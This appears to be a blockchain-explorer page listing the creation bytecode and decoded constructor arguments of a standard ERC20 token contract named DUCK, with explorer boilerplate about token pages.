0000000000000000001ffffffe000000000000000000000000000000000000000000000000000000000ffffffe0000000000000000000000000000000000000000000000000ffffffffffffffff8000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffff02000000000000000000000000000000000000000000000000000000000000008be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e075ca53043ea007e5c65182cbb028f60d7179ff4b55739a3949b401801c942e658a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0200000000000000000000000000000000000020000000000000000000000000fffffffffffffffffffffffffffffffffffffffffff7ba6ae9ebfeb7b60000000200000000000000000000000000000000000040000000000000000000000000fffffffffffffffffffffffffffffffffffffffffff7ba6ae9ebfeb7b5ffffff000000000000000000000000000000000000000000084595161401484a000000ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000020000000000000000000000000000004000000100000000000000000045524332303a206d696e7420746f20746865207a65726f20616464726573730008c379a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000000000000000000000004e487b7100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002400000000000000000000000000000000000000000000000000000000000000000000000000000000715018a500000000000000000000000000000000000000000000000000000000a457c2d600000000000000000000000000000000000000000000000000000000dd62ed3d00000000000000000000000000000000000000000000000000000000dd62ed3e00000000000000000000000000000000000000000000000000000000f2fde38b00000000000000000000000000000000000000000000000000000000a457c2d700000000000000000000000000000000000000000000000000000000a9059cbb00000000000000000000000000000000000000000000000000000000715018a6000000000000000000000000000000000000000000000000000000008da5cb5b0000000000000000000000000000000000000000000000000000000095d89b410000000000000000000000000000000000000000000000000000000023b872dc000000000000000000000000000000000000000000000000000000003950935000000000000000000000000000000000000000000000000000000000395093510000000000000000000000000000000000000000000000000000000070a082310000000000000000000000000000000000000000000000000000000023b872dd00000000000000000000000000000000000000000000000000000000313ce5670000000000000000000000000000000000000000000000000000000006fdde0300000000000000000000000000000000000000000000000000000000095ea7b30000000000000000000000000000000000000000000000000000000018160ddd4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008400000080000000000000000000000000000000000000000000000000000000200000008000000000000000000000000000000000000000000000000000000020000000000000000000000000207a65726f00000000000000000000000000000000000000000000000000000045524332303a2064656372656173656420616c6c6f77616e63652062656c6f7700000000000000000000000000000000000000840000000000000000000000004f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657200000000000000000000000000000000000000640000008000000000000000000000000000000000000000000000000000000000000000000de0b6b3a76400004455434b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000c00000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925737300000000000000000000000000000000000000000000000000000000000045524332303a20617070726f766520746f20746865207a65726f206164647265726573730000000000000000000000000000000000000000000000000000000045524332303a20617070726f76652066726f6d20746865207a65726f20616464616c616e6365000000000000000000000000000000000000000000000000000045524332303a207472616e7366657220616d6f756e7420657863656564732062647265737300000000000000000000000000000000000000000000000000000045524332303a207472616e736665722066726f6d20746865207a65726f20616445524332303a207472616e7366657220616d6f756e74207a65726f00000000008f13f4ac0819a84122cae18c4ce3487642c0a75f5b2e8039ac44e15094de2070

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000011a127f014d1878336f349cf0100000000000000000000000000000000000000000000000003647551034ce7f000000000000000000000000000000000000000000000000000000000000000044455434b00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): DUCK
Arg [1] : symbol_ (uint256): 1396754131182684216429608816385
Arg [2] : decimals_ (uint256): 244449270593021936

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 0000000000000000000000000000000000000011a127f014d1878336f349cf01
Arg [2] : 00000000000000000000000000000000000000000000000003647551034ce7f0
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [4] : 4455434b00000000000000000000000000000000000000000000000000000000


[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.